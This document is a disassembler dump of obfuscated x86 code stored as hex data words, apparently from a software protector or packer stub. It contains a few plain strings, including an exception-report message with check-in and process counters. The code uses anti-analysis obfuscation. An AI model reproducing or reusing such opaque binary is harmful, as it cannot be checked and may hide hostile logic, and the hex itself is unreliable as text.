		dd 70A39D2Fh, 0D78B6658h, 0AE9C08Bh, 1F000000h,	928F2FE5h
		dd 1DECAE0Fh, 0A5BD8341h, 6A61Eh, 0BD830975h, 6A62F9Dh
		dd 50197400h, 0B8C08B53h, 7D8h,	2AD18589h, 9D8D06A6h, 6A8A56Ch
		dd 585BD3FFh, 2F9DBD83h, 740006A6h, 0B8535017h,	7D8h, 2AD18589h
		dd 9D8D06A6h, 6A8A25Bh,	585BD3FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0ADC35646h,	7F40DB82h, 0BAEEFCB3h
		dd 0FE948h, 74530000h, 0A9AEA272h, 775F8B9h, 9389249Fh
		dd 399503DAh, 8B06A62Ch, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0A6418DABh, 410E5CD9h
		dd 8D895D21h, 6A61481h,	0F003F68h, 0F9BD8B00h, 6A06A625h
		dd 918D8B00h, 6A06A62Eh, 0EE806000h, 8D8B61FAh,	6A63359h
		dd 125995FFh, 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 2A6C97C3h, 0BA3CD946h, 85FCDA6Eh
		dd 0C59589C0h, 0F806A62Dh, 0EED38589h, 6A06A8h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0DD6FD4C3h, 3727525Ch, 8079ADACh, 0FF68EFC1h, 83000F01h
		dd 0A63111BDh, 840F0006h, 3Bh, 0CE9h, 29AA1800h, 767B8B8Ch
		dd 97FC0ADEh, 30858D44h, 2306A8EFh, 0A61B798Dh,	25E906h
		dd 14E90000h, 5000000h,	70449479h, 13E31FB3h, 87B5C906h
		dd 31AD340Dh, 8D40F4E8h, 0A8EF0685h, 5BD8906h, 5006A61Dh
		dd 2B018589h, 0B5FF06A6h, 6A8EED3h, 0EECB95FFh,	858906A8h
		dd 6A8EED7h, 0EBD78151h, 5A793913h, 147185C7h, 6A6h, 958B0000h
		dd 6A61F55h, 0EED7BD83h, 0F0006A8h, 1DA84h, 0CE900h, 0F1A00000h
		dd 0DBBCC7DFh, 450B3DCAh, 858DDF45h, 6A8F1B5h, 9E9h, 86627200h
		dd 0B8D62068h, 0E8507811h, 0Ah,	0CE8F1B8Dh, 306EB0F8h
		dd 0BF664B12h, 0E95A9852h, 13h,	16E3349Bh, 0C4A46B13h
		dd 91DB79B2h, 5C53926Bh, 6A608308h, 0D7B5FF01h,	6606A8EEh
		dd 0E24BD981h, 0C810Fh,	830F0000h, 6, 8A0Fh, 95FF0000h
		dd 6A8EECFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0B4C35343h, 7DFCF83Ah, 8BA59876h, 0A63469BDh, 0D7B5FF06h
		dd 6A06A8EEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0EA8C352h, 8945C680h, 0A608B195h
		dd 0BD95FF06h, 6606A61Ch, 211D281h, 0F01FF68h, 0F9950900h
		dd 0F06A60Dh, 68Ch, 59B58900h, 8306A601h, 0A63111BDh, 840F0006h
		dd 56h,	0A19D8B60h, 0E906A61Eh,	6, 423CC1B0h, 8D61CD2Dh
		dd 0A8EF3085h, 9D9D8906h, 0E906A62Ch, 39h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 39C35040h, 9BAC4500h
		dd 0BD296F72h, 6A61F35h, 0BCB46060h, 61CB8B66h,	858D61F5h
		dd 6A8EF06h, 0B5FF50F8h, 6A8EED3h, 5E850h, 93550000h, 8BA7D2E6h
		dd 0FF5A5FFAh, 0A8EECB95h, 0C1BD8B06h, 8906A61Bh, 0A8EED785h
		dd 8B666006h, 7FC881CAh, 61584E36h, 0EED7B5FFh,	0F68006A8h
		dd 0C795FFC1h, 8006A8EEh, 0B5FF8EE9h, 6A8EED7h,	0EF28166h
		dd 0BD95FFBCh, 6A06A61Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 51C7C351h, 9211796h
		dd 0A607298Dh, 890F06h,	0E9000000h, 0FFFFF5F9h,	0B5FF37B1h
		dd 6A8FA20h, 1A258D8Bh,	95FF06A6h, 6A61A79h, 96EA8166h
		dd 0D08B665Ah, 0C9D858Bh, 0E9F506A6h, 697h, 22758531h
		dd 14E806A6h, 87000000h, 6610CED7h, 7E98C993h, 2F0F9912h
		dd 48486A09h, 0F78E4B6h, 281h, 5A595600h, 0F1D5B58Dh, 8B6606A8h
		dd 3C858DD0h, 6606A89Fh, 0FF3C4ABAh, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 6A561Eh, 0FE9h
		dd 8036F00h, 39BAF9F0h,	0FA4DE27Ah, 2DE29A8Dh, 1EF595FFh
		dd 0BA6606A6h, 0F38B74C0h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 92C35141h, 34D1B342h,	858D2E91h, 6A89F3Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D9C35040h
		dd 66D0FFEFh, 6ABA50BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0F4917A8Eh, 0A7853A9Bh
		dd 1EF595FFh, 9E906A6h,	0AC000000h, 0B160B98h, 5D777FE4h
		dd 0B5D78166h, 0E9C08B3Fh, 13h,	0FD1850CFh, 0F8F63F8Ch
		dd 28282F08h, 0ADB8322Bh, 83A15E2Dh, 0A61EA5BDh, 9750006h
		dd 2F9DBD83h, 740006A6h, 8B535019h, 7D9B8C0h, 85890000h
		dd 6A62AD1h, 0A56C9D8Dh, 0D3FF06A8h, 0BD83585Bh, 6A62F9Dh
		dd 50177400h, 7D9B853h,	85890000h, 6A62AD1h, 0A25B9D8Dh
		dd 0D3FF06A8h, 6A585Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E8DDA3C3h, 6820Fh, 95290000h, 6A63345h
		dd 1F1D8D8Bh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 84ACC0C3h, 2C61BD31h, 0EA8106A6h
		dd 5AA8BE41h, 71BFC08Bh, 505215BFh, 0B90CC6BFh,	57D88B14h
		dd 5AA7C980h, 3D9D8D53h, 8B06A604h, 8B038903h, 43895043h
		dd 0B99D8D50h, 8B06A8F9h, 5B038903h, 10E9h, 201C9300h
		dd 2BCDE2FAh, 923C71A1h, 75902A2Eh, 0F8FA8B2Fh,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 53FF1C3h, 0AE9h, 0DD334400h,	9000FEB8h, 8DA6F74Bh, 0A8F9B985h
		dd 59958906h, 8B06A613h, 0A6067D95h, 0BD8B5006h, 6A629A5h
		dd 0B589606Ah, 6A60DF1h, 43D858Dh, 958B06A6h, 6A63269h
		dd 0E5BD8B50h, 6A06A62Fh, 89006A00h, 0A60A819Dh, 18006806h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0F9D8F2C3h, 2DD9C992h, 95FF53D2h,	6A61BEDh
		dd 2D89958Bh, 95FF06A6h, 6A62AD9h, 0FE9h, 98090D00h, 0C1A589BEh
		dd 7F16D7DFh, 77BD5489h, 0FA20B5FFh, 950306A8h,	6A61C29h
		dd 1A7995FFh, 0BD8B06A6h, 6A62D8Dh, 43D858Dh, 8BFC06A6h
		dd 840F1840h, 0
		dd 7C985C7h, 6A6h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 1A263EC3h, 0EF11191Eh
		dd 3111BD83h, 0F0006A6h, 5284h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 9E99E32Dh
		dd 3D18636Ch, 8Ch, 228830Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E9C748C3h
		dd 10h,	3DCFBF0Fh, 98h,	1F8830Fh, 0D18B0000h, 243B858Dh
		dd 6A005Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BA665BC3h, 0D0FFBE04h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0DBC35242h,	0E4244C2Dh, 8E8C6h
		dd 463B0000h, 0F7D17448h, 60B20C5Ch, 8E858D5Fh,	8B005B1Eh
		dd 0A609518Dh, 0E9D0FF06h, 6, 0AFC6F8Dh, 0C08BC9C2h, 0AE95251h
		dd 0BB000000h, 0B933E0F1h, 2CF95A12h, 0E8595F9Ch, 0Bh
		dd 0A80216A0h, 0C5B98C77h, 59E12B8Dh, 1EA5BD83h, 750006A6h
		dd 9DBD8309h, 6A62Fh, 53501974h, 0C6B8C08Bh, 8900000Bh
		dd 0A62AD185h, 6C9D8D06h, 0FF06A8A5h, 83585BD3h, 0A62F9DBDh
		dd 17740006h, 0C6B85350h, 8900000Bh, 0A62AD185h, 5B9D8D06h
		dd 0FF06A8A2h, 89585BD3h, 0A62C799Dh, 11853106h, 6A06A61Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0C4B3C350h, 0B3EE2793h, 8B9BF680h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0EB8FFEE1h, 65509256h, 0BD8B6AC9h, 6A61DEDh,	0FFF883FCh
		dd 46850Fh, 8D8B0000h, 6A604D9h, 0E1D85C7h, 6A6h, 9D890000h
		dd 6A6113Dh, 18AE9h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 84922217h, 42E9FCh, 9D890000h
		dd 6A62A2Dh, 0F01F883h,	3385h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5E826ED2h
		dd 1E57128h, 1D599D89h,	48E906A6h, 66000001h, 4A1E181h
		dd 0FFF078E9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0D678F6BFh, 0B6A8E040h
		dd 0C08BF934h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0FCC35141h, 5C22EBAh, 0FA4880Eh, 68Bh, 0AD8D0B00h
		dd 0E906A60Ah, 0Eh, 0C3CA593Eh,	0B6EED83h, 0F47F6B9Ch
		dd 0BD831F19h, 6A61EA5h, 83097500h, 0A62F9DBDh,	19740006h
		dd 0C08B5350h, 7DDB8h, 0D1858900h, 8D06A62Ah, 0A8A56C9Dh
		dd 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501774h, 7DDB8h, 0D1858900h
		dd 8D06A62Ah, 0A8A25B9Dh, 5BD3FF06h, 0BE958h, 69190000h
		dd 0D288DC09h, 0D69A19C9h, 4D958BB2h, 106A610h,	0A6041D95h
		dd 6AC08B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0A450C356h, 0A4FB0B4Bh, 8D8BF8D4h
		dd 6A625D1h, 68F0Fh, 0BD890000h, 6A606A9h, 25AE9h, 0C8B0F00h
		dd 0E9000000h, 7, 0E55BDC02h, 8D47D953h, 0A8F7BD85h, 0F98B6606h
		dd 0F9B58589h, 0CA8106A8h, 32BF2B13h, 91E9h, 51BD8900h
		dd 8D06A621h, 0A8F5C585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 63688F65h
		dd 0CE8F4h, 0A7E50000h,	597134F1h, 0F525FFCBh, 8E99573h
		dd 0EA000000h, 4505E379h, 5F98529Fh, 53006A40h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0BE788E17h
		dd 89F802E9h, 0A8F9B585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 346A3CD2h
		dd 2605858Dh, 0FF5006A6h, 0A8F9B5B5h, 0FF006A06h, 0A60AB195h
		dd 7F88306h, 168840Fh, 8C660000h, 4C3F6DBh, 102850Fh, 85C60000h
		dd 6A60C29h, 0B8526856h, 0B5FF9CA8h, 6A62F8Dh, 3AC3858Dh
		dd 0D0FF06A6h, 68046Ah,	6A000010h, 0FF006A64h, 288589D0h
		dd 0C606A8FAh, 0A60C2985h, 9B684706h, 0FFEC18ACh, 0A62F8DB5h
		dd 0C3858D06h, 0FF06A63Ah, 8BD0FFD0h, 2985C6F0h, 4F06A60Ch
		dd 2F266168h, 0C5B5FFC6h, 8D06A615h, 0A63AC385h, 8DD0FF06h
		dd 0A8FA249Dh, 286A5306h, 85D0FF56h, 0C60075C0h, 0A60C2985h
		dd 98684106h, 0FFDB8764h, 0A615C5B5h, 0C3858D06h, 0FF06A63Ah
		dd 418589D0h, 0C606A8FAh, 0A60C2985h, 0A4684C06h, 0FF80A4E7h
		dd 0A615C5B5h, 0C3858D06h, 0FF06A63Ah, 289D8BD0h, 8D06A8FAh
		dd 8D53045Bh, 0A8FA2D9Dh, 6A5306h, 9D8BD0FFh, 6A8FA28h
		dd 103C7h, 43C70000h, 20Ch, 0BD9D8B00h,	0C706A629h, 0A60B5185h
		dd 6, 6A006A00h, 8B006A00h, 0A8FA289Dh,	6A5306h, 0FA24B5FFh
		dd 95FF06A8h, 6A8FA41h,	0C2985C6h, 684506A6h, 92A5F797h
		dd 3305B5FFh, 858D06A6h, 6A63AC3h, 6AD0FFh, 0D0FF026Ah
		dd 0F6DB8C66h, 327504C3h, 0FA289D8Bh, 43C706A8h, 0Ch, 6A006A00h
		dd 289D8B00h, 5306A8FAh, 0B5FF006Ah, 6A8FA24h, 0FA4195FFh
		dd 0B5FF06A8h, 6A8FA24h, 2AD995FFh, 6A06A6h, 1EF595FFh
		dd 0BD8906A6h, 6A62199h, 8AEF81F9h, 8D0BF3DFh, 0A92F3085h
		dd 0ADBD8906h, 5006A62Bh, 0B9D7B70Fh, 2033EB78h, 35FF64h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 7151C351h, 0E9DDC84Ch,	7, 8F4FD11Ch
		dd 89E1C2B2h, 0A619318Dh, 25896406h, 0
		dd 2890Fh, 0C88B0000h, 1B25BD83h, 0F0006A6h, 9984h, 128B0F00h
		dd 0E9000000h, 0Dh, 9CC64621h, 0EDA18F14h, 5D0C4D34h, 51BD831Ah
		dd 106A614h, 74850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0B011A0C3h, 0DF217341h
		dd 0C8C98077h, 8D0Fh, 0BD800000h, 6A8FE41h, 3B850F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 8041C355h, 0F1B7FBCCh,	0BD291AA4h
		dd 6A63329h, 1ECE9h, 0EE806000h, 6124B340h, 2A35BD0Bh
		dd 0DB3306A6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	7CC35747h, 3379EE80h, 0CE9C0h, 73350000h, 6D09455h
		dd 3A316F38h, 0F4075D3h, 640B073Fh, 58Fh, 0C4830000h, 5ED28004h
		dd 50FFB70Fh, 0FFFB8359h, 37840Fh, 7CE90000h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 35D7C351h, 0F945573h, 680h, 0F1E78100h, 31442EC2h
		dd 0A61355BDh, 79E906h,	9D310000h, 6A60D59h, 0C244C8Bh
		dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 0A92F52EDh, 0B8838B06h, 8D000000h
		dd 0A9307985h, 0B8838906h, 5D000000h, 89C3C033h, 0A61E91BDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0EED2B7C6h, 7E844B0h, 54000000h,	0D82538ACh
		dd 8D5A9882h, 0A92F4885h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 9D89FA95h
		dd 6A61909h, 17890F50h,	0F000000h, 1186h, 0CE900h, 13EE0000h
		dd 0D6463163h, 63807E96h, 89BF824Ch, 643214F7h,	35FFh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0B74A13C3h, 645067A6h, 2589h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0F75E8BC3h, 76969EC3h, 0D98D29C3h, 0B906A630h, 0Ah
		dd 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h,	34B640h
		dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h,	0A6192D85h
		dd 106h, 58F6400h, 0
		dd 8904C483h, 0A615F1BDh, 0C08BF806h, 0FE9h, 0C81CBB00h
		dd 7F013F0Dh, 110D128Ah, 0B7547Bh, 731958Bh, 0BD8306A6h
		dd 6A61EA5h, 83097500h,	0A62F9DBDh, 19740006h, 0C08B5350h
		dd 43DB8h, 0F9858900h, 8D06A61Bh, 0A8A5D39Dh, 5BD3FF06h
		dd 9DBD8358h, 6A62Fh, 53501774h, 43DB8h, 0F9858900h, 8D06A61Bh
		dd 0A8A2749Dh, 5BD3FF06h, 6820F58h, 9000000h, 0A607598Dh
		dd 59958906h, 8B06A61Eh, 0A601C18Dh, 0E9C08B06h, 147h
		dd 4, 31392E31h, 30h, 6	dup(0)
		db    0
		align 2
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		db 83h
		dd 0A62161BDh, 840F0006h, 12Dh,	0A08B858Dh, 8D5006A8h
		dd 0A89FF585h, 1685006h, 0FF800000h, 0A8A09B95h, 10858D06h
		dd 5006A931h, 311A858Dh, 6A5006A9h, 8D006A00h, 0A8A00985h
		dd 0B5FF5006h, 6A8A08Bh, 17D95FFh, 858D06A6h, 6A93110h
		dd 1E858D50h, 5006A931h, 6A006Ah, 0A01B858Dh, 0FF5006A8h
		dd 0A8A08BB5h, 7D95FF06h, 8D06A601h, 0A9311085h, 858D5006h
		dd 6A9312Ah, 6A006A50h,	68858D00h, 5006A8A0h, 0A08BB5FFh
		dd 95FF06A8h, 6A6017Dh,	3110858Dh, 8D5006A9h, 0A9313285h
		dd 6A5006h, 858D006Ah, 6A8A086h, 8BB5FF50h, 0FF06A8A0h
		dd 0A6017D95h, 10858D06h, 5006A931h, 312E858Dh,	6A5006A9h
		dd 8D006A00h, 0A8A06F85h, 0B5FF5006h, 6A8A08Bh,	17D95FFh
		dd 858D06A6h, 6A93110h,	22858D50h, 5006A931h, 6A006Ah
		dd 0A077858Dh, 0FF5006A8h, 0A8A08BB5h, 7D95FF06h, 8D06A601h
		dd 0A9311085h, 858D5006h, 6A93126h, 6A006A50h, 7E858D00h
		dd 5006A8A0h, 0A08BB5FFh, 95FF06A8h, 6A6017Dh, 0A08BB5FFh
		dd 95FF06A8h, 6A61B35h,	0A2E9h,	41BD8300h, 6A60Eh, 95840Fh
		dd 0BD830000h, 6A61451h, 11850F00h, 8B000000h, 0A60D9195h
		dd 0F8C28106h, 0E900001Ch, 0Fh,	43D958Dh, 528B06A6h, 40C28134h
		dd 893BD4C3h, 0A6092995h, 29BD8306h, 6A609h, 55840Fh, 9D8B0000h
		dd 6A60929h, 8B4CC383h,	1A858903h, 8B06A931h, 0A609299Dh
		dd 50C38306h, 8589038Bh, 6A9311Eh, 9299D8Bh, 0C38306A6h
		dd 89038B54h, 0A9312A85h, 299D8B06h, 8306A609h,	38B58C3h
		dd 312E8589h, 9D8B06A9h, 6A60929h, 8B5CC383h, 22858903h
		dd 8306A931h, 0A62161BDh, 850F0006h, 0Dh, 0E41BD83h, 0F0006A6h
		dd 6884h, 32B5FF00h, 0FF06A931h, 0A93126B5h, 22B5FF06h
		dd 0FF06A931h, 0A9312EB5h, 2AB5FF06h, 0FF06A931h, 0A9311EB5h
		dd 1AB5FF06h, 8D06A931h, 0A9311485h, 858D5006h,	6A9314Ch
		dd 0E9858D50h, 5006A601h, 1E9595FFh, 0C48306A6h, 8D406A24h
		dd 0A9313685h, 858D5006h, 6A601E9h, 0FF006A50h,	0A60AB195h
		dd 0FF016A06h, 0A61EF595h, 60C18B06h, 0C08BD38Bh, 13E953h
		dd 0AB8F0000h, 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh
		dd 0BD835A8Ch, 6A61EA5h, 83097500h, 0A62F9DBDh,	19740006h
		dd 0C08B5350h, 40EB8h, 0D1858900h, 8D06A62Ah, 0A8A56C9Dh
		dd 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501774h, 40EB8h, 0D1858900h
		dd 8D06A62Ah, 0A8A25B9Dh, 5BD3FF06h, 18840F58h,	0E9000000h
		dd 13h,	0E092C664h, 0AD1F1D8Ah,	279CA73Ah, 48CE9F91h, 6AD3F14Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 7FB3C356h, 0BCDB1E4Ch, 819582EFh,	683623D1h
		dd 0F7B70F01h, 6AC08Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0A6A684C3h, 6E406420h, 0F04F380h
		dd 5160F2BFh, 0F95F6160h, 25BD8361h, 6A61Bh, 36840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 30EAA8C3h, 29D1CDEh,	2EAE99Dh, 9E90000h, 89000000h
		dd 54243CA3h, 0CA34342Eh, 98B6DF8Ch, 4C7F766h, 0CD850F00h
		dd 6A000002h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 20F1C356h, 3111BD83h, 0F0006A6h
		dd 6185h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0E9B68BB9h, 280h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 61C35545h, 0C6FF9689h
		dd 144B46B9h, 14E97Eh, 94700000h, 0DA899DCDh, 3ECB47Dh
		dd 586F69B7h, 0A92DA69Dh, 0BF87FEh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 4D47C357h, 8D72238Dh, 0A938589Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 43EEF723h
		dd 80828196h, 5093F5D1h, 8E993h, 12470000h, 0C2FA0048h
		dd 0FF64B0D9h, 35h, 95DD8000h, 258964h,	6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 2B2CC353h, 54E89106h, 0C48BF502h, 1CDE88Ah, 6A00EBh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E5087EC3h, 14E8h, 0E2F43200h, 0FD4DB7F7h, 89226C6Fh
		dd 0F224B2D1h, 0BCBA7AA1h, 0AE85Ch, 0D7BF0000h,	231420F6h
		dd 0F971D46Bh, 5959D48Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 8FC35141h, 78D18080h,	914FDE81h, 0BE667DA9h
		dd 8F64D2D9h, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 84D9BE68h, 0E9E18E3Eh
		dd 13h,	7DED20A5h, 0D9F26BDh, 0A0FAEE3Ch, 0E0B00ABAh, 835FC2F8h
		dd 0BF904C4h, 0E5840FC0h, 8A000000h, 820F61F7h,	9, 3840Fh
		dd 0B70F0000h, 26BD8DD6h, 6A06A672h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C3AC356h
		dd 0DCA64A20h, 0D860F1Fh, 0E9000000h, 8, 73E778DDh, 3B27168Fh
		dd 1B8DBB5h, 60000000h,	18E0Fh,	66FC0000h, 0A31FEF81h
		dd 6AE7FF61h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 35A6C352h, 245C8B57h, 0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 0D18AC3C0h, 0AE9h, 0DE8FAB00h, 0FF65C21h
		dd 0E94F0E42h, 11h, 0C3479A20h,	5B2D98AEh, 0B14B5A74h
		dd 656A048Fh, 0EE89Bh, 8D9D0000h, 0C3D42D73h, 16363A5h
		dd 85200DBBh, 0E8816660h, 5E61AB00h, 0D38B6661h, 0BD83C08Bh
		dd 6A61EA5h, 83097500h,	0A62F9DBDh, 19740006h, 0C08B5350h
		dd 40EB8h, 0F9858900h, 8D06A61Bh, 0A8A5D39Dh, 5BD3FF06h
		dd 9DBD8358h, 6A62Fh, 53501774h, 40EB8h, 0F9858900h, 8D06A61Bh
		dd 0A8A2749Dh, 5BD3FF06h, 6AFC58h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 9A1ADAC3h, 0C08B2F09h
		dd 8B61FC60h, 10E8C2h, 0EB7D0000h, 6DF881ACh, 1229A894h
		dd 0DD428C2Ah, 0B9668071h, 0E95B628Bh, 11h, 0BEC12234h
		dd 8579FF0h, 16967E34h,	0A98DA3E8h, 0EDC3811Eh,	0B4000059h
		dd 1659BFBDh, 0AB90000h, 8B4DB049h, 1880F33h, 0F9000000h
		dd 0B5EBC681h, 0AE909F7h, 74000000h, 56B805DCh,	0DF142CB1h
		dd 3EEE81C0h, 0B032FB24h, 2BEE81CFh, 0F021E18h,	384h, 0E5C18000h
		dd 0BA663389h, 0EB8354E4h, 63C08104h, 8117235Eh, 1EFh
		dd 0B0850F00h, 0EBFFFFFFh, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 0F0ED815Dh, 6106A939h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3A28B58Bh, 0E68106A9h, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3A2CB53Bh, 860F06A9h
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	0A6092985h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 28E995FFh,	0F5006A6h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0A6092985h, 0C606h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 29858B00h, 8606A609h, 0FDB0A18h, 0FFFFF685h
		dd 0C585C7FFh, 6A618h, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 18C585C7h, 10006A6h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 39CD85C7h, 106A9h
		dd 0F500000h, 0FE244C01h, 39D1858Fh, 858D06A9h,	6A939C9h
		dd 39D1BD8Dh, 388906A9h, 23E9h,	3D858D00h, 8B06A604h, 17053840h
		dd 899B46F3h, 0A939C985h, 3D858D06h, 8B06A604h,	85893C40h
		dd 6A939CDh, 39E6858Dh,	858906A9h, 6A628E9h, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
